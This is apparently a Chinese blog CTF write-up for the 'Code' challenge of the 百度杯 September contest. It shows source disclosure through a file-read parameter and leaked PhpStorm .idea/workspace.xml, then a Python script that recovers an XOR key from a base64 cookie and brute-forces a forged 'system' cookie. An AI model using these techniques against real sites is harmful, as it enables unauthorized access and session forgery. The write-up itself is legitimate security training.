menu 雨落亭
search
Code (百度杯”CTF比赛 九月场)
雨落
雨落
Time:
share




  • 通过文件读取,得到index.php源码
  • 然后审计代码
  • 从phpstorm 发现线索,phpstorm会生成.idea文件夹,访问.idea/workspace.xml得到2个php文件,
  • 然后构造:?jpg=fl3gconfigichuqiu.php (config 被替换为_ 从而读出源码)
  • 根据源码进行破解
#-*-coding:utf-8-*

import requests
import string
from base64 import *


url ="http://744fc262c845464cad121cd19570f28f1c92e7fdf18444b2.changame.ichunqiu.com/fl3g_ichuqiu.php"

cookie = requests.get(url).cookies['user']
txt = b64decode(cookie)

rnd = txt[:4]  #取前四位,得到了4位随机字符串

txt = txt[4:]  #后面的是加密后的字符(5位)

guest ='guest'  #

sys ='system'

key=''

#将密文与'guest'+10后逐个异或得到key(MD5后的)
for i in range (len(guest)):
    key+=chr(ord(txt[i])^(ord(guest[i])+10))

print(key)
#我们向服务器,发送base64后的密文cookie。服务器解密
#此时,MD5后的key是没变的,那么我们将‘system’与key异或就能得出
#密文,然后base64发送就可以了,但是guest得出的key少一位,需要循环
#爆破一位。即可
#

md5_str="0123456789abcdefABCDEF"
flag=''
true_key=''

for j in (md5_str) :
    true_key=key+j
    print(true_key)
    flag=''
    for i in range(len(sys)):
        flag+=chr(ord(true_key[i])^(ord(sys[i])+10))
    flag=b64encode(rnd+flag)
    #print(flag)
    cookie={'user':flag}
    r = requests.session()
    re = r.get(url,cookies = cookie)
    if 'flag' in re.content:
        print('success-->'+flag)
        print(re.content)
        time.sleep(5) 

评论

   textsms
   account_circle
昵称不能为空
   email
邮箱格式错误
   language





message 没有评论惹=_=

arrow_back 上一篇
arrow_back 上一篇
BugKu 本地包含
下一篇 arrow_forward
实验吧-sqli4
下一篇 arrow_forward